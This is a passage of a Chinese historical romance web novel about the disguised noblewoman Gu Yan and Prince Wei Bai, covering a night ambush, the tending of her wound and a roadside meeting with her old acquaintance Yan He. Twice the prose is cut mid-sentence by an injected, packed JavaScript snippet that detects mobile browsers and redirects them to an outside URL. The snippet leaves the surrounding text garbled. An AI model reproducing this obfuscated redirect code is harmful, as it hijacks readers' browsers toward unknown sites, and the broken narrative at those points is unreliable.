黑衣人开始有条不紊地后撤。有人在前抵挡宿卫,有人飞奔上马。但神鸮营宿卫哪会教他们轻易离开,忙上前紧紧缠住一众刺客。 这时,有一名黑衣人睹见正在逃离的顾雁,迅速朝她奔来。顾雁大惊,强忍腰疼加快脚步,奈何她身上还缚有绳索,速度根本快不起来。对方转眼奔到近前,钳住她臂膀,举刀抵住了她的脖颈。 刀刃如冰一般寒凉,尖锐的刺痛划过脖颈,顾雁压下浑身战栗。对方箍得竟似铁钳一般,她根本无法挣脱分毫。 “都停下!”那人嘶哑大喊,“否则我杀……”然而他连话都没说完,一支利箭从黑暗中破空而来,直插这厮咽喉!霎时鲜血四溅,洒到顾雁的脸上,还散发着黏腻的触感和温热的气息。 黑衣人松开了钳制,“扑通”一声,他手中长刀掉到地上。他双目惊恐圆睁,想抬手捂喉,下一瞬,却浑身脱力倒在地上。 顾雁愕然抬眼。远处,卫柏长身而立,正放下长弓。 两人相隔数丈,遥遥对视。 然而夜色暗沉,她看不清他此刻的表情。 “驾!”其余黑衣人再无暇顾及此处,纷纷疾奔上马,逃窜远去。 “追。”卫柏声音冷冽。 三名宿卫留下,其余人在严义的指挥下回身上马,疾追而去。 嘈杂的马蹄声急速远去,隐没在黑暗中。眼前树林重新安静下来,地上横七竖八地躺着十多人,周围残留着令人作呕的气味。 顾雁惊魂未定地环顾四周,颈上伤口辣辣地疼,而腰痛更是变本加厉袭来。她捂着脖子,摸到一手滑腻,又想撑着腰站稳,却疼得再也站立不住。正当她摇摇欲坠,倾身倒下时,却落入了一个壮实有力的怀抱。 她缓缓抬眸,卫贼的脸映入眼帘。 两人近在咫尺,她终于看清了,他脸上沾了许多血迹,为那张原本英挺的面容,添上了许多凌厉肃杀之气。他揽住她的腰,单手抽剑割开她身上绳索,又插剑回鞘。盯着她脖颈血痕的瞳眸,显出阴鸷戾色。 原来,方才见她不对劲,卫柏当即疾步而来,竟抢在她倒下之前,稳稳接住了她! “殿下……”顾雁揪紧他胸口衣裳,靠着他站稳,又看到卫贼满身血迹,胸前衣襟被划破了好几道口。她心下一惊,赶紧查看才发现,这些血迹并非来自他,他衣下应穿了特制软甲。但他的左手小臂却在渗血,还是受了伤。 顾雁蹙起眉:“殿下快些回营处理伤口。” 卫柏眸中戾色顷刻消散。他低声 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那岂不是会看到她! 顾雁下意识就想挣扎离开。她的动作牵扯到他手臂的伤口,他轻轻皱眉,将她抱得更紧了。“别动。”卫柏低声道。 “殿下!” “殿下在那!” 不知是谁高唤了一声,那些人加快了脚步。 来不及走了!顾雁猛然转头埋在卫柏胸前,搂紧他的脖颈。她的脸紧贴着他的衣襟,被抬起的衣袖挡住。卫柏轻轻勾唇,又在那些官员到近前时恢复了正色。 “殿下可还安好?” “这是……” 前面几名官员睹见卫柏怀中竟抱着一名女子,不禁愕然。 “她是孤的贴身侍婢,方才被刺客掳走,被孤救回。”卫柏淡然说道。 陆续赶来的官员们听到此语,顿时面面相觑。今日赶路了一整天,也没见殿下身边有个侍婢啊。半夜听到宿卫警戒哨响,说有刺客。难道就是掳走了一个侍婢?殿下还亲自去救? “殿下怎能以身犯险?”这是程仆射的声音,他似乎很不悦。 “今夜有惊无险。眼下时辰已晚,众卿都回去休息。余事明日详说。”卫柏简略说罢,继续迈步前行。 “是,”官员们恭敬领命,默默让开一条通路。旁边侍从们自觉抬高火把,为颖王照亮前方。纵然顾雁埋着头,也感觉到,有无数目光都落到了自己身上。 别看她啊! 她就知道,这些官员保准都在好奇,颖王亲自去救的侍婢是什么人! 她紧张得屏住呼吸,直到憋得难受,又意识到,就算呼吸也没关系。总之,她把卫柏揽得越来越紧,头也埋得越来越深。 卫贼的脚步愈发轻快起来。 他疾步走出树林,来到大帐外。掌灯的侍从迅速上前,挑开帐帘。 “烧热水,拿药来。”卫柏抱着顾雁,大步走进营帐。 21. 道谢 颖王营帐的地面铺着毡毯,里面只有一张可折叠拆卸的卧榻,一方木案,几个箱子。行路途中,卫贼下令一切从简,所以帐中陈设也很简单。 卫柏将顾雁放到榻上。她的腰疼得直不起来,只能顺势躺在枕上。他又将案上灯台挪到榻边,坐下查看起她的脖颈伤痕。 端详了片刻,卫柏说道:“幸好伤口尚浅,刀刃无锈。” 他离得太近,说话时的温热气息拂过她颈边,留下丝丝痒意。顾雁不自觉揪紧袖管。 侍从们很快拿来伤药、酒壶、麻布、剪刀等,又端来炭炉和一盆热水。卫柏吩咐他们将麻布在水中煮沸。他又接过热气腾腾的布巾,倒上烧酒,为她轻轻擦拭皮肤上凝固的血污。 灼热的布巾触到脖颈,浓重酒气扑面而来,一股尖锐刺痛钻进伤口,她难耐地嘶了一声。 “忍忍。”卫柏的声音温和,动作也很轻。他又托起她的手,擦拭沾上的尘土碎叶,还有被草叶割破的细小伤口。眼看脏兮兮的肌肤重新干净,恢复白玉般的颜色。卫柏呼吸微滞,眸中墨色愈发浓重起来。 他的手和布巾一样灼热,随着布巾移动,顾雁的脸逐渐发烫。她下意识想缩回手,却被他飞快握紧。 “快好了。”卫柏说道。 他指腹有茧,手劲还大,手上被他紧捏的地方,只觉酥酥麻麻。心跳难抑地加快了速度,顾雁小声道:“殿下,我自己来就好。” 卫柏动作一顿,抬眸注视她。 与他目光相接的刹那,她只觉一股热流在体内急窜直上,猛然撞击了心脏。榻边灯火照在他俊逸的脸上,墨云般的瞳仁里映出一抹光亮,那里仿佛有道深渊。一旦跌入,就再难脱身。她只好飞速偏头,躲开他的注视。 “再上一道药。”卫柏放开她的手,声音凉了些许。他打开药罐,在她颈上伤口洒下药粉。 “殿下处理伤口很熟练。”顾雁悄然揪紧袖子,没话找话。 “习惯了。”卫柏盖好药罐,起身脱下染血的外袍,坐到案边,处理起手臂上的伤。 此刻卫贼背对着她,顾雁才松了口气,转头看他的背影。 宽大的黑色中衣下,是他坚实的脊背轮廓。他挽起衣袖,露出线条分明的小臂,一道半尺长的伤口突兀地破开皮肤,满臂都是凝固的血色。此处他掀开的衣袖,也比别处更黑一些。卫柏径直把壶里剩下的酒,全都倒在了伤口上。 顾雁刚被沾酒的布巾擦过伤口,知道有多疼。可现在卫贼偏头看着伤口,只微微蹙眉,一声都没哼。旁边侍从连忙上前,用另一块煮过的布巾擦拭臂上血污。另一名侍从则用热酒烫针,穿上丝线,待颖王手臂血污擦净后,跪在一旁开始麻利地缝合伤口。 针尖穿过皮肉,丝线锁住伤口。顾雁看得头皮发麻,转头不忍再看。卫柏却面不改色,凝神注视着伤口的缝合进度。 她深吸一口气,重新镇定下来,又忍不住继续看。卫贼的伤口很快缝合完成。他站起身脱下里衣,旁边侍从赶紧捧来干净衣裳。她没来得及转头,就看到了卫贼精壮的上半身。 平时他穿着宽袖长袍,看着与那些弱不禁风的高门公子并无二致。但之前被他抱了几次,她隐隐触到过他衣下硬实的肌肉。此刻他脱了衣裳,她才亲眼见到,他身上肌肉竟如此线条分明,背上还有条好看的凹线,延伸至腰窝,隐没在裤下。 顾雁轻轻抿唇。许是离榻边灯台太近,灯火照得她唇瓣都发干了。 直接瞧着男子的裸背,实在不合适。但她还是不想移开目光。他背上交错着四道长长的伤痕,颜色比周围皮肤深许多,应是陈年旧伤。顾雁忽然意识到,卫贼自幼随父从戎,还真不是说说而已的花架子。之前看他诗文时,她还以为,他不过是个伤春悲秋的文人公子呢。 很快,卫柏重新穿好衣裳,换了身黑色常服。他转过身来,顾雁连忙转头看向营帐顶端,装作若无其事的模样。 这时,侍从将她的衣裳包袱送到榻边。 “把沾血的衣裳换下来。”卫柏瞥了一眼,迈步向外走去。 很快,帐中只剩顾雁一人。她心情复杂地解开腰带,脱下襦裙、中衣。因为腰疼,她只能稍稍抬身,靠在榻枕上,动作很慢。此刻卫贼一走,她重新浮起心事,像揣了块石头似的,心头沉甸甸的。 从树林中出来后,她就一直在想。 如果纸条来自那些黑衣人,那他们肯定还有同伙,就潜伏在颖王身边的侍从里。会是谁呢?!方才她就留意了帐中伺候的侍从,都是之前常见的熟面孔。是他们吗?还是白天送蒸饼的那人? 知道她是颖王重视的侍婢不难,毕竟卫贼一再招摇。但知道她是郡主,这就很奇了!刺客的背后主使到底是谁?! 他们想要刺杀卫贼,这次没得手,定会策划下一次。她到底……要不要告诉卫贼,他身边就潜伏着刺客同党? 可那些人知道她的身份! 若对卫贼说了,就必须解释来龙去脉,这回就很难瞎编了……也不知严义他们追到刺客没有。若抓到了人,可会审出她的身份? 林林总总的问题萦绕在心头,譬如一团乱麻。顾雁只好沉下心,一条一条梳理。 卫贼是窃国之贼,初见时连她都想刺杀他。天下想杀他之人,肯定如过江之鲫。他的死活,本就与她无关!她有自己的目标,去典录司翻到母亲和兄长的下落。到时再看情况,能否想办法与他们见面。 所以,她只需警惕是否会暴露身份!其余之事,她不能管,也管不了! 顾雁如此反复告诫着自己,缓缓穿着衣裳。手刚钻出袖管,她便睹见手背上被悉心处理过的小伤口。 心脏猛地一揪,似被什么狠狠捏作一团,胸口忽然闷得透不过气。顾雁扯着衣襟,咬住唇瓣。难受什么呢……卫贼的死活就是与我无关啊! 今生今世都无关。 这时,帐帘外响起严义压低的声音:“回秉主公,刺客逃到梁水边,岸边有船接应,他们弃马上了船。河水湍急,我们没能追上……” “没事。你们无人受伤就好。” “途中被射落五人,逃走了十多人。我等去擒落马刺客时,他们都服毒自尽了。另外,林间还有八名刺客,被当场击杀。” “看来他们是有备而来,策划得很周全,要致孤于死地。” “末将已加强守卫,着人继续搜寻周围。不日定会详查尸体上的蛛丝马迹,找出刺客身份。” “辛苦了。今夜所有值守宿卫,记功一次。厚葬牺牲的弟兄,其父母妻儿的抚恤按老规矩。” “末将明白!”严义压着发颤的声音,重重说道,“多谢主公!” 卫柏拍了拍军士的肩,轻声道:“你也换值休息去吧。” “嗯,”严义深吸一口气,“末将告退!” 他们说话声音很小,顾雁只得尽力支着身子,侧耳倾听。她紧捏着手,屏住呼吸,生怕听到关于她的一词半句。直到严义说没抓到刺客活口,她才轻轻松了口气。既如此,她的身份暂时也不会暴露了。 随着严义脚步声远去,外面重新恢复了安静。帐帘声动,卫柏挑帘入内。顾雁来不及收目光,与他遥遥对视。 他应该……也要休息了吧。 她缓缓撑着腰,准备下榻:“请殿下早些歇息,奴婢这就出去。” “孤有话问你。”卫柏却盯着她说道。 顾雁动作一顿。卫柏踱步走近,坐到榻边。他一路走近,目光没有移开她分毫。 又是一股无形压力扑面而来,她的心不禁咚咚直跳。 来了。 今夜她突然出现在树林,实在可疑。卫贼的审视和询问,定是少不了的。 “今夜,你为何会在树林?”果然,他如此问道。 顾雁早就想好了说辞。她抿了抿唇,不好意思地说道:“内急。” 卫柏微微眯眼,又问:“马车那边……不能解决吗?何故要去北边?” 顾雁脸上泛起羞赧的红晕:“马车附近都是比人高的荒草,太……太不方便了……树林里面宽敞得多……” 啊啊啊!虽在撒谎,但跟卫贼一个男子讨论这种问题,实在是太羞耻了! 她捏着手,顶着滚烫的脸继续解释:“奴婢刚进树林不久,树上就跃下两个拿刀的黑衣人,一言不发便要掳走我。”这些描述跟真实情况相差无几,只是省略了黑衣人唤郡主的一节。她并未胡说,卫贼当看不出破绽。 卫柏微蹙着眉,久久盯着她,自顾思量着。 依然是那股穿透人心的深邃目光,顾雁猜得到他在想什么。 “殿下在怀疑我?”顾雁直勾勾地瞧着他,越说越恼,“殿下是否觉得,我有刺客同伙的嫌疑,是与刺客一道唱了这出戏,将殿下诱至林中行刺?” 卫柏瞳眸一颤,撑在膝盖上的手微微一蜷,抓紧了衣袍。 他没应声。 不知为何,顾雁心头漫起一阵失落。 明知他生性多疑,怀疑她再正常不过。她还是冒出了一些失落。她明明不是刺客同伙,也没想刺杀他。顾雁垂下眼睫,轻轻撇了撇嘴。 罢了,她本就在骗他,又何必要求他信任。 卫柏将她的神情收入眼底。许久,他忽问:“内急解决了吗?” 啊? 顾雁脑子嗡地一炸,脸颊瞬间烧起来。想了半天,他就问这个? “被贼人一吓,就……就忘记了。这会儿倒是又想起来了……奴婢这就自行解决,殿下不必管我。”她飞快说完,忍着腰疼也要继续下榻。 看她挪动艰难,卫柏叹了口气:“走吧。”他竟一把将她横抱而起,起身大步朝门外走去。 “殿下!”顾雁惊得神魂一震,瞪着他问,“殿下要作甚?” “帮你解决内急。”卫柏淡然应道。 “不是?喂?等等!”顾雁全身上下都沸腾起来,她的脸红得像烫熟的虾。卫贼两三步把她抱出帐外,外面的值守宿卫果然变多了。他们一见卫贼便拱手致礼:“见过殿下。” “嗯,”卫柏抱她走向树林。 六名站桩的宿卫目送着他们。 “殿下!殿下!快放我下来,我自己能解决!”夜深人静之际,顾雁只得压着嗓音飞速说道。她揪着卫柏衣襟,恨恨道:“再不放,我就跳下去了!” 树林已被搜了个底朝天,此刻又恢复了暗沉和寂静。两人被黑暗包裹着,顾雁一说完话,就只能听到卫贼咚咚直响的心跳。他来到一棵树旁,终于把她放到地上。她迅速扶住树干,转身催促道:“快走。” 卫柏点点头,指着外面道:“我出去等你。”说罢,便大步离开了。 “走远些!”顾雁忙不迭补充。她不放心地目送他远去,直到见他回到营帐外,与那些宿卫说起话,才松了口气。 啊啊啊啊! 卫贼脑子是用什么做成的啊!!!他的思路为何总与常人不一样!!! 他就真不在乎一点点,哪怕一点点虚礼吗?! 她一个小娘子,何时与他熟悉到,需要他来帮忙解决……解决这种事情了! 顾雁咬牙,愤愤地想。 —— 半晌后,顾雁手撑着腰,艰难地一步步挪出树林。方才在榻上躺了片刻,腰疼好转了些许,但也就是些许。 站在营帐门口的卫柏一见她,当即大步上前,又将她一把抱起,经过默然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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也不知道这厮到底怎么看她。有时候,感觉他还挺重视自己。可有时候,他眼里只剩冰凉。让她异常明白,他对她充满怀疑,从无信任。要骗卫贼,真是太累了。 什么时候,连她的情绪也开始被卫贼影响了呢? 他明明只是一把刀而已。 忽然,一块毛绒绒的毡毯盖在了她身上,瞬间阻隔了秋夜的寒凉。旁边响起卫贼的低语:“盖好。” 营帐里安静下来。 顾雁忽然想起来,到此时为止,其实她还没有谢过卫贼。不管怎样,他确实亲自来救她了。若不是他,她说不定就被那伙人掳走了,还不知会被怎样对待。 “多谢殿下。”她的轻言细语打破了安静。 听起来像在谢这块毡毯,于是她又补充道:“其实,我那时真的很害怕。” 半晌,黑夜里没有任何回应。 好吧,这厮本就不信任她,也不见得想听这声谢谢。一股莫名其妙的沮丧袭上心头,她抱紧毡毯,闭上眼睛。 睡觉! 忽然,一只手轻轻抚过她的脸颊。 是卫贼的手! 顾雁猛地睁开眼。许是眼睛已经适应了黑暗,她看到旁边的卫贼,从一团黑黢黢的模糊影子,变成了一个人。他侧躺着望来,伸手轻抚自己的脸。 他的手还是那样,粗糙而温热的皮肤,摸得她脸颊痒痒的。可鬼使神差般的,她没有动,也没有避开他的手。 然后听他温和说道:“在我身边,什么都不用怕。” 顾雁忽然发现了一个问题。她眨了眨眼:“殿下为何时而称孤,有时说我?” 半晌,他道:“孤是颖王,我是自己。” “我好像听出来了。”顾雁悄声道。 在她脸上的手指一顿,夹起她腮上的一块肉轻轻捏了捏,然后退了回去。 “睡吧。”卫柏的声音很温柔。 黑暗就像一块包容的幕布,在它无所不在的笼盖下,她突然觉得,卫贼的面孔似乎……突然变得没那么可恶了? 她闭上了眼睛。 几乎是一刹那,她便坠入了梦乡。 —— 其实顾雁不知道,这个梦到底什么时候开始的。 她只意识到自己突然身处在江州的乡野,轻快走在野花盛开的河边小道上。忽然,前方站着一个丰神俊朗的高大男子,正弯眼笑着瞧她,似在专门等她。 “请问郎君贵姓?”她走到他面前,昂头问道。 “我姓卫。”他淡淡一笑。 一股难以言说的闷堵袭上心头,她摇头道:“郎君怎么偏偏姓卫。” “我为何不能姓卫?”那人挑眉。 “君若他姓,妾必同行。可惜……”她低下眼睫,脑中闪过临江侯府的画面。接到军报的兄长拍案而起,对众将厉声道,江州永世不与国贼为伍! 忽然,她身后响起一声高呼。 “阿雁!” 是娘亲的声音! 她欣喜若狂地转身,见娘亲和兄长正站在远处,正笑吟吟地朝她招手。 太好了!!! 顾雁匆匆朝身旁郎君行了一礼:“告辞。”便提裙疾步朝娘亲和兄长跑去。 她跑得越来越快,甩下身后人,留他孤单站在原地,目送她头也不回地离开。 前方,母兄的身影愈发模糊。她只觉怎么跑,怎么跑,都无法去到他们身边。她气喘吁吁地停下,回头看,却发现那人身影也变得无比模糊,然后如云烟般消散一空。 刹那间,她的心脏紧紧绞作一团,眼角一热,忍不住滚落一滴泪珠。 而她不知道的是,沉沉入睡的自己,眼角亦滑落下了一滴泪。 在她旁边的卫柏,正侧着身子,手撑额角,凝神注视着她,然后抬手为她轻轻拭去眼泪。 “你到底在怕什么?”卫柏低声问道。 22. 鄢郎 第二日,顾雁早早醒来,帘门缝隙透过青色天光。卫贼又不在帐中了。她感觉后腰好受了些,支撑着坐起身。榻上的毡毯胡乱堆着,她忽然意识到,昨夜卫贼就睡在那。 她跟卫贼同榻了一夜…… 顾雁双手捂脸,狠狠搓了一把。啊……怎就稀里糊涂留在帐里了!还好昨夜无事发生…… 她在榻上呆呆坐了片刻,又才打起精神,猛然甩头。 想什么呢。 卫贼认为她有嫌疑,说要亲自监视她。这厮危险至极,绝不可放松! 顾雁深吸一口气,挪身下榻。经过卫柏睡过的地方,掌心触到榻上一抹残温,就像他昨夜温热的怀抱一样。 她微微一怔,抬手捻磨起指尖。 片刻,她又回过神来。 好了好了! 别想乱七八糟的,那可是卫贼! 匹夫不可夺志,她顾雁绝不会被任何人乱了心志,何况是卫贼! 顾雁再次甩头,把胡乱心思彻底甩出脑海,起身下榻,用帐中新置的水桶梳洗。 一夜过去,颈上和手上的伤痕都已结痂,只有微末隐痛,尚能忍受。她用换下的旧衣裁出一段,做了掩面的布巾。待收拾妥当,这才挑帘步出营帐外。 “容娘子。”外面的宿卫整齐拱手,教她一惊。顾雁连忙点头回应。 许多侍从正在忙碌,在空旷处搭灶生火。远处,卫柏和官员们在营中踱步,不知道在聊什么。 那些侍从里……到底谁是刺客同党? 刺客准备周全,显然知道颖王行程,又是怎么认出了她的身份?背后主使到底是谁? 顾雁缓步走向马车,默然观察着忙碌的侍从。然而看了半晌,还是没看出什么端倪。她只好叹了口气,重新坐上车厢。 没过多久,又是昨日那人来送膳食,她特意与他多聊了几句,也没探出什么异样。如此等众人收拾停当,卫柏终于回到马车上,车队再次出发。 马车摇晃前行,卫贼倒是看书看得认真。顾雁取下布巾,看着窗外郊野。纠结许久,她终于忍不住说道:“殿下,奴婢思来想去,觉得昨夜的刺客有些奇怪。” 卫柏放下书,望向她:“怎么?” “昨夜严都尉向殿下汇报时,声音传进帐中,我也听到了。刺客在附近的梁水岸边提前备好船,才逃脱追捕。有如此准备,说明刺客很清楚,殿下昨夜会在那附近扎营。所以……”顾雁反复斟酌着用词,“殿下是否要查一查……身边的人?” 卫柏认真听着,最后淡淡一笑:“嗯。” 呼……顾雁鼓了鼓腮帮,终于松了口气。 之前一直憋在心里,总是不舒坦。若在不暴露身份的前提下,提醒一下卫贼……也是可以的……想到这,她再抬眸,却见卫柏还在注视自己。 “殿下还有何事?”顾雁疑惑道。 卫柏再次垂眸看书:“无事。” 顾雁撇了撇嘴,再次望向窗外,却不知道,卫柏的目光悄然越过书页,落到了她身上。 半晌,他忽然问道:“你在想什么?” “嗯?”顾雁回过神,忙道,“在想接下来的戏文。” 卫柏嗤笑一声,重新看起书。 车马摇晃前行,两人各有心事,沉默无言。如此过了一个多时辰,马车忽然停下。 卫柏转头看向窗外,刚想问发生了何事,却听严义策马来到近前:“主公,前方出现一队车马,正在停车让行。” “嗯,继续赶路。” “是。” 汝平郡和梁城之间的官道常有车马往来,对方远远见到颖王仪仗,自然会停下避让。昨日也碰到了一些过路车队。但经过昨夜惊险,今日宿卫们对过往路人加强了警戒。 又前行数丈后,车驾即将经过那队人马。 窗外传来一名年轻男子的声音:“江州鄢和,参见颖王殿下。” 刹那间,顾雁浑身一震,一股暗流激荡全身,撞得心脏汹涌跳动! 是他! 她直起身扶着车壁,想朝窗外看,可终究是握紧了拳头,生生忍住了。 卫柏睹见她的反应,眯眼思索了一瞬:“鄢和……有些耳熟……停车。” 马车骤然停下。 顷刻,他恍然,“啊,那个江州第一公子。” 卫柏放下书,冷冷瞥了一眼顾雁,倾身凑到车窗边,看向外面。 官道路边,站着一名温润如玉的年轻男子,他身姿挺拔,清贵不凡。旁边杂草丛生的荒野,也因他站在那里,仿佛成了人间仙境。 卫柏冷眼瞧着他:“孤听说,鄢氏一门俊才,令尊是临江侯的肱骨重臣,辅佐治理江州十余年。你虽未出仕,却因才学闻名天下,人称江州鄢郎,与梁城陶灵齐名。” 车厢里的顾雁暗暗揪着衣袖,竭力压着胸中翻覆的情绪。 她北上后,之所以借用鄢家婢子身份,就是因为她熟悉鄢家。 鄢伯父与父亲交情至深,待她如亲生女一般。他脾气很好,总是笑眯眯的,还会不厌其烦地回答她的请教。少时,父兄在外征战,娘亲曾带她去鄢家老宅住过一段时日。那位鄢老夫人,也曾亲热地搂着她,像搂着亲孙女一般,在湖边一道赏荷。 至于鄢和……住在鄢家老宅时,她一直唤他平宣阿兄……他表字平宣,长她三岁,亦如鄢伯父一般,生了幅好脾气。 由于母亲一再叮嘱,在鄢老夫人面前,她尽量装得文静淑雅。背了长辈,她便懒得再装,本性毕露。不是去湖里摸螃蟹,就是躲在芦苇丛后,看娘亲不准看的闲书。每每被鄢和撞见,她总会竖起手指轻轻“嘘”一声,叫他不要张扬。 鄢和总是弯眼笑着,明明长着一双桃花眸,弯起来却像一勾新月。然后他便装作什么都没看见,从她身旁路过。 四年前,鄢老夫人过世时,她还与母亲一起去鄢家老宅拜祭。 那是最后一次看见鄢和。他已从一个青涩少年,长成了温润知礼的鄢郎。见到她时,他因悲戚而泛红的眼眶,露出一抹温柔和欣慰:“阿雁长大了。” “平宣阿兄也长大了。”顾雁踮起脚,还是不如他长得高。 鄢和微微弯眼,看她的头被娘亲一把按了下去。 所以,她知道老夫人身边有个婢子叫容娘,是正经的家生侍婢。老夫人去世后,还留在老宅干活。但那次拜祭过老夫人之后,她便再没去过鄢家了。 再后来,江州覆灭,母兄被囚失踪。她北上时,听人说鄢伯父生了重病,回了老宅山居养病。当时她想,这定是鄢伯父明哲保身之法。毕竟,他此前曾是兄长最倚重的臣属。不过,倒没听到鄢和的消息,应是陪他父亲在一起。 没想到兜兜转转,竟在这遇到鄢和。竟是她北上以后,遇到的第一个江州旧人。看他车队方向,应是去梁城,也不知他要做什么。 车窗外。 鄢和面色不惊,拱手礼道:“殿下过誉。” 卫柏的眸色越来越冷:“两年前孤平定江州后,令当地官员入京谒见。你鄢氏一门,一直拒不上京,可是对孤心怀不满?” 鄢和应得恭敬:“父亲近年重病在身,某在榻前侍奉尽孝,实在无法远行。还请殿下恕罪。鄢氏上下,实无二心。” 卫柏轻嗤:“现在,鄢公子为何又能来梁城了?” “朝廷年年征召鄢某入仕,父亲忧心,若某再不应征,会引朝廷介怀。近些时日,父亲见身体有所好转,便催某动身北上,亲自向朝廷解释缘由。” 顾雁垂下眼睫,掩住眸里的伤怀。 临江侯治下的江州,已经覆灭两年了。鄢伯父称病不仕,已是重情重义。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14597181|153715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但他终究要为后人打算。江州人,迟早要食新粟。 卫柏在膝上轻轻敲打着手指,似在沉思。 车驾外的官道上,严义骑马候在一旁,注视着此处。他忽然一个激灵:“江州鄢氏……这不是容娘子过去的主家吗!” 他御马走近几步,朗声问道:“容娘子应该认识这位鄢公子吧?” 顾雁心下一震,倏尔捏紧手。 车外的鄢和则面露疑惑。 卫柏淡然抬眸,将两人神情收入眼底。须臾,他幽幽道:“是啊,既是旧识,何不相见。鄢公子,还记得府上一位旧人吗?” 他转眸看向身侧的她,静静等待她的应答。 鄢和的面色愈发疑惑。 顾雁的心已跳得毫无章法。 这严义,谁说他是粗人!他要她与鄢和见面,分明就是故意试探鄢和的反应,以验证她的身份!车队与鄢和骤然相遇,她没提前串通,不知他会说出什么来! 如此粗中有细,怪不得严义能得卫贼如此倚仗。 此时,所有人都顺着颖王的目光,看往车厢里她的方向。只是他们的目光暂时被车壁挡住,没看到她的脸。 无论如何,她都没法躲过这一遭了。 顾雁深吸一口气,回想了一番真正的容娘如何称呼鄢和,然后倾身转头看向窗外,柔声问道:“少公子,可还记得容娘?” 一瞬间,鄢和的瞳仁猛然放大,直直盯着她的脸,狠狠抿紧嘴唇。 卫柏注视着鄢和的表情,目光锐利深邃:“鄢公子很惊讶?” “奴婢坐在殿下车驾上,少公子自然惊讶。”顾雁轻声应着,手臂上的鸡皮疙瘩却一阵漫过一阵。脑海也紧张得几欲空白,只得拼命集中精神,保持着面色镇静。 “孤在问鄢和。”卫柏冷冷道。 顾雁暗自捏紧拳头。 很好,卫贼与严义心意相通啊,非要看鄢和会说什么! 呵,早上还担忧他身边有刺客同党。真是闲得多余!卫贼这大奸贼,同情他就等于给自己找罪受! 鄢和迅速回神,坦然应道:“容娘是祖母的贴身侍婢,很得府中人心。祖母怜她自幼孤苦,一直想让她寻到血亲。她却一心侍奉病中的祖母。直到老人家仙逝后,才出府寻亲。只是前几年她离府后,便一直没了消息。鄢某万万没想到,她竟在殿下身旁。” 说话间,鄢和盯着顾雁,目不转睛。顾雁则手捏车窗,提着一颗心,直到听他说完,才稍稍松了口气。但她又不禁震惊,他所言来龙去脉,竟与她编纂的来历细节一模一样! 怎么回事?! 她很想问鄢和。但此时不是时候,只能等回梁城再做打算,希望那时他还在。 顾雁轻轻颔首:“好久不见,少公子。” 车窗内外,两人遥相对视。顾雁目光潋滟,与他眼神交汇间,许多话欲语还休。 卫柏全都看在眼里。他紧捏着手,手背青筋隐现,浑身散发的寒意,教车厢简直成了一间冰窟。 鄢和忽道:“先前经过汝平郡时,听闻武望山下骤现奇石,乃玄阳显灵,留下谶言。鄢某当时便心生敬畏。还听说,不日,颖王殿下将亲自拜谒奇石。想来,殿下此行便是去往武望山。鄢某斗胆恳请同行,只盼能瞻仰祥瑞。” 卫柏盯着他,忽然冷笑一声:“既然鄢公子想看,自然可以同行。” 鄢和拱手深深一礼:“多谢殿下。” “走。”卫柏靠回凭几,寒声吩咐。 “继续出发!”严义策马踱步,喝令后方停下的车队。 车厢再次前行,徐徐路过鄢家的几辆马车。鄢和一直拱手垂首,恭送颖王车驾启行。直到鄢家车驾已退出窗景之外,顾雁仍忍不住回头看。 “就这般惦记你的少公子?”卫柏斜眸睨她,幽幽问道。 23. 狂徒 听到卫贼说话,顾雁才收回目光,垂眸说道:“少公子以前很照顾我。” 卫柏闭上眼,手撑额角:“是吗?”他的声音,像刚从三九寒冬的冰窟里捞出来一般。 “嗯,奴婢没有亲人。老夫人和少公子从未把我当外人,还让我把鄢府当成自家。”顾雁的话半真半假,字里行间的怀念却是情真意切,“在外漂泊许久,实在没想到,竟然还能与少公子重逢。” 卫柏深吸一口气,沉默片刻后,又道:“你很思念江州。” 他微微睁开眼,端详她的神色。一提江州,她瞳眸里遮掩的那片雾,就会破开一道裂口,透出一线明媚的光。 他的话语,瞬间勾起顾雁心底的积郁和思念。是啊,北上以来的每一步路,她都无比思念江州。既然卫贼看了出来,她也没什么好装的。思乡乃人之常情,他知道也无所谓。 她正待承认时,忽听他幽幽又问:“或是,很思念江州的少公子?” 啊? 顾雁一愣,很快又回过神。 卫贼的脑子在想什么! 她瞪向他,一字一句强调:“奴婢只是欣赏少公子才学,从未对少公子有过非分之想!” 卫柏的眸色倏尔幽寒。他直直盯着她,也一字一句重复道:“欣赏他的才学?从未有过非分之想?” “是啊!少公子虽未出仕,但文集都流传到了梁城。以前东文书肆都卖得极火。他们都说‘北陶南鄢’,又不独是我一人欣赏。” 她说得滔滔不绝,最后话锋一转,“正因为,大家都说陶灵公子与他齐名,我才向往一睹陶灵公子的遗作。” 卫柏冷笑:“你说陶灵是明月高悬,那鄢和又是什么?天上可没有两个月亮。” “唔……”顾雁认真想了想,“他二人于当世文坛,仿佛日月同辉。” “呵。”卫柏骤然拿起放下的书,沉着满布寒霜的面色,开始看书。 顾雁看出来了,他很不高兴。书看了半晌,都没翻一页。上回说陶灵遗作时也是这样,卫贼怎就这般小气,容不得别人的文评超过他么? 她终于忍不住道:“奴婢想不通,殿下行事甚为通达,为何独独计较文才评议?” 卫柏额角一抽,捏紧书页:“在你眼里,孤的心胸就这般狭隘?” 顾雁撇嘴:“诸多文章流传于世,如百花盛放,于大齐也是盛事嘛。”瞧他脸色越来越差,她也懒得再说下去。难得好心劝谏,不听算了,活该身边都潜伏着刺客! 卫柏重重揉起额角,沉声问道:“那你欣赏鄢和时,也会求他,抱他,非要留在他身边?” 顾雁一懵:“什么?” 正说文章呢,跟求他抱他有什么关系?! 卫柏嗤笑。 